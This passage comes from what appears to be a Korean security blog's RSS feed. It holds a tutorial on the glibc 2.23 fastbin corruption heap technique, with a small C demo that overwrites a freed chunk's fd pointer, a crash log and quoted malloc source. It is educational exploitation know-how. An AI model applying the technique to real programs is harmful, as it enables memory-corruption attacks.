&lt;table class=&quot;peda-highlighter&quot; style=&quot;width:100%; margin:0; padding:0; border:none; border-radius:4px; background-color:#300A24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tr&gt;
&lt;td style=&quot;padding:6px; padding-left: 6px; text-align:left;&quot;&gt;
&lt;div style=&quot;margin:0; padding:0; line-height:130%; color:#FFFFFF;&quot;&gt;
&lt;span style=&quot;color:#CC0000&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;p&amp;nbsp;s1&lt;br /&gt;$1&amp;nbsp;=&amp;nbsp;(void&amp;nbsp;*)&amp;nbsp;0x602010&lt;br /&gt;&lt;span style=&quot;color:#CC0000&quot;&gt;gdb-peda$&amp;nbsp;&lt;/span&gt;p&amp;nbsp;s2&lt;br /&gt;$2&amp;nbsp;=&amp;nbsp;(void&amp;nbsp;*)&amp;nbsp;0x602010&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;</description>
      <category>Pwn/Techniques</category>
      <author>Syine Mineta</author>
      <guid isPermaLink="true">https://mineta.tistory.com/149</guid>
      <comments>https://mineta.tistory.com/149#entry149comment</comments>
      <pubDate>Fri, 26 Jun 2020 05:11:29 +0900</pubDate>
    </item>
    <item>
      <title>[Linux] ptmalloc2 Heap Exploitation :: fastbin corruption</title>
      <link>https://mineta.tistory.com/67</link>
      <description>&lt;div style=&quot;color: black;&quot;&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 이 글은 glibc 2.23 기준으로 작성되었습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 이 글은 glibc의 heap management가 어떻게 동작하는지 알고 있어야 수월하게 읽을 수 있습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 이 글은 shellphish 팀의 &lt;a href=&quot;https://github.com/shellphish/how2heap&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;how2heap&lt;/a&gt; repository를 참고했습니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;b&gt;* 컴파일 command line: gcc test.c -o test -Wl,-z,relro -no-pie -fno-stack-protector -O0 -ggdb&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;Last update: 6/26/2020&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Analysis&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;bin 분석글에 fastbin의 구조와 동작을 설명해 두었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;fastbin corruption은, fastbin의 fd 값을 조작해 원하는 위치에 fast chunk를 할당받는 기법이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;how2heap에서는 fastbin dup into stack 으로 설명하는데, stack 뿐 아니라 write가 가능한 모든 영역에 chunk를 할당받을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;주로 UAF나 fastbin dup을 통해 구현할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;아래 코드는 free된 chunk의 fd에 buf의 주소를 쓰고, malloc을 두 번 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;malloc.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;#include&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;lt;stdint.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint8_t&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buf&lt;/span&gt;[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x100&lt;/span&gt;];&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;int&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;main&lt;/span&gt;()&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;void&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;free&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;((&lt;span style=&quot;color: #4ec9b0;&quot;&gt;uint64_t&lt;/span&gt;&amp;nbsp;*)&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;)[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;]&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;buf&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;malloc&lt;/span&gt;(&lt;span style=&quot;color: #b5cea8;&quot;&gt;0x10&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;;&lt;br /&gt;}&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;컴파일하고 그대로 실행하면 &lt;code&gt;malloc(): memory corruption (fast)&lt;/code&gt; 에러가 발생한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;peda-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;peda-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #300a24;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #ffffff;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #8ae234;&quot;&gt;syine@minetalinux&lt;/span&gt;&lt;/b&gt;:&lt;b&gt;&lt;span style=&quot;color: #729fcf;&quot;&gt;~/Desktop/test&lt;/span&gt;&lt;/b&gt;$&amp;nbsp;./test&lt;br /&gt;***&amp;nbsp;Error&amp;nbsp;in&amp;nbsp;`./test':&amp;nbsp;malloc():&amp;nbsp;memory&amp;nbsp;corruption&amp;nbsp;(fast):&amp;nbsp;0x0000000000601070&amp;nbsp;***&lt;br /&gt;=======&amp;nbsp;Backtrace:&amp;nbsp;=========&lt;br /&gt;/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f2f813047e5]&lt;br /&gt;/lib/x86_64-linux-gnu/libc.so.6(+0x82651)[0x7f2f8130f651]&lt;br /&gt;/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f2f81311184]&lt;br /&gt;./test[0x4005ac]&lt;br /&gt;/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f2f812ad830]&lt;br /&gt;./test[0x400499]&lt;br /&gt;=======&amp;nbsp;Memory&amp;nbsp;map:&amp;nbsp;========&lt;br /&gt;00400000-00401000&amp;nbsp;r-xp&amp;nbsp;00000000&amp;nbsp;08:02&amp;nbsp;925486&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/home/syine/Desktop/test/test&lt;br /&gt;00600000-00601000&amp;nbsp;r--p&amp;nbsp;00000000&amp;nbsp;08:02&amp;nbsp;925486&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/home/syine/Desktop/test/test&lt;br /&gt;00601000-00602000&amp;nbsp;rw-p&amp;nbsp;00001000&amp;nbsp;08:02&amp;nbsp;925486&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/home/syine/Desktop/test/test&lt;br /&gt;01239000-0125a000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[heap]&lt;br /&gt;7f2f7c000000-7f2f7c021000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&lt;br /&gt;7f2f7c021000-7f2f80000000&amp;nbsp;---p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&lt;br /&gt;7f2f81077000-7f2f8108d000&amp;nbsp;r-xp&amp;nbsp;00000000&amp;nbsp;08:02&amp;nbsp;1050426&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libgcc_s.so.1&lt;br /&gt;7f2f8108d000-7f2f8128c000&amp;nbsp;---p&amp;nbsp;00016000&amp;nbsp;08:02&amp;nbsp;1050426&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libgcc_s.so.1&lt;br /&gt;7f2f8128c000-7f2f8128d000&amp;nbsp;rw-p&amp;nbsp;00015000&amp;nbsp;08:02&amp;nbsp;1050426&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libgcc_s.so.1&lt;br /&gt;7f2f8128d000-7f2f8144d000&amp;nbsp;r-xp&amp;nbsp;00000000&amp;nbsp;08:02&amp;nbsp;1050388&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libc-2.23.so&lt;br /&gt;7f2f8144d000-7f2f8164d000&amp;nbsp;---p&amp;nbsp;001c0000&amp;nbsp;08:02&amp;nbsp;1050388&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libc-2.23.so&lt;br /&gt;7f2f8164d000-7f2f81651000&amp;nbsp;r--p&amp;nbsp;001c0000&amp;nbsp;08:02&amp;nbsp;1050388&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libc-2.23.so&lt;br /&gt;7f2f81651000-7f2f81653000&amp;nbsp;rw-p&amp;nbsp;001c4000&amp;nbsp;08:02&amp;nbsp;1050388&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/libc-2.23.so&lt;br /&gt;7f2f81653000-7f2f81657000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&lt;br /&gt;7f2f81657000-7f2f8167d000&amp;nbsp;r-xp&amp;nbsp;00000000&amp;nbsp;08:02&amp;nbsp;1050360&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/ld-2.23.so&lt;br /&gt;7f2f81860000-7f2f81863000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&lt;br /&gt;7f2f8187b000-7f2f8187c000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&lt;br /&gt;7f2f8187c000-7f2f8187d000&amp;nbsp;r--p&amp;nbsp;00025000&amp;nbsp;08:02&amp;nbsp;1050360&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/ld-2.23.so&lt;br /&gt;7f2f8187d000-7f2f8187e000&amp;nbsp;rw-p&amp;nbsp;00026000&amp;nbsp;08:02&amp;nbsp;1050360&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/lib/x86_64-linux-gnu/ld-2.23.so&lt;br /&gt;7f2f8187e000-7f2f8187f000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&lt;br /&gt;7ffcd2691000-7ffcd26b2000&amp;nbsp;rw-p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[stack]&lt;br /&gt;7ffcd2774000-7ffcd2777000&amp;nbsp;r--p&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[vvar]&lt;br /&gt;7ffcd2777000-7ffcd2779000&amp;nbsp;r-xp&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[vdso]&lt;br /&gt;ffffffffff600000-ffffffffff601000&amp;nbsp;r-xp&amp;nbsp;00000000&amp;nbsp;00:00&amp;nbsp;0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;[vsyscall]&lt;br /&gt;Aborted&amp;nbsp;(core&amp;nbsp;dumped)&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;이 에러를 띄우는 곳은 _int_malloc의 fastbin allocation 부분이다. (3368번째 줄)&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 34px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;3362&lt;br /&gt;3363&lt;br /&gt;3364&lt;br /&gt;3365&lt;br /&gt;3366&lt;br /&gt;3367&lt;br /&gt;3368&lt;br /&gt;3369&lt;br /&gt;3370&lt;br /&gt;3371&lt;br /&gt;3372&lt;br /&gt;3373&lt;br /&gt;3374&lt;br /&gt;3375&lt;br /&gt;3376&lt;br /&gt;3377&lt;br /&gt;3378&lt;br /&gt;3379&lt;br /&gt;3380&lt;br /&gt;3381&lt;br /&gt;3382&lt;br /&gt;3383&lt;br /&gt;3384&lt;br /&gt;3385&lt;br /&gt;3386&lt;br /&gt;3387&lt;br /&gt;3388&lt;br /&gt;3389&lt;br /&gt;3390&lt;br /&gt;3391&lt;br /&gt;3392&lt;br /&gt;3393&lt;br /&gt;3394&lt;br /&gt;3395&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #6a9955;&quot;&gt;/*&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;If&amp;nbsp;the&amp;nbsp;size&amp;nbsp;qualifies&amp;nbsp;as&amp;nbsp;a&amp;nbsp;fastbin,&amp;nbsp;first&amp;nbsp;check&amp;nbsp;corresponding&amp;nbsp;bin.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;This&amp;nbsp;code&amp;nbsp;is&amp;nbsp;safe&amp;nbsp;to&amp;nbsp;execute&amp;nbsp;even&amp;nbsp;if&amp;nbsp;av&amp;nbsp;is&amp;nbsp;not&amp;nbsp;yet&amp;nbsp;initialized,&amp;nbsp;so&amp;nbsp;we&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;can&amp;nbsp;try&amp;nbsp;it&amp;nbsp;without&amp;nbsp;checking,&amp;nbsp;which&amp;nbsp;saves&amp;nbsp;some&amp;nbsp;time&amp;nbsp;on&amp;nbsp;this&amp;nbsp;fast&amp;nbsp;path.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;((&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;long&lt;/span&gt;)&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;nb&lt;/span&gt;)&amp;nbsp;&amp;lt;=&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;unsigned&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;long&lt;/span&gt;)&amp;nbsp;(&lt;span style=&quot;color: #569cd6;&quot;&gt;get_max_fast&lt;/span&gt;&amp;nbsp;()))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;idx&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;fastbin_index&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;nb&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;mfastbinptr&lt;/span&gt;&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;fb&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&amp;amp;&lt;span style=&quot;color: #569cd6;&quot;&gt;fastbin&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;av&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;idx&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;mchunkptr&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;pp&lt;/span&gt;&amp;nbsp;=&amp;nbsp;*&lt;span style=&quot;color: #9cdcfe;&quot;&gt;fb&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;do&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;victim&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;pp&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;victim&lt;/span&gt;&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;NULL&lt;/span&gt;)&lt;br 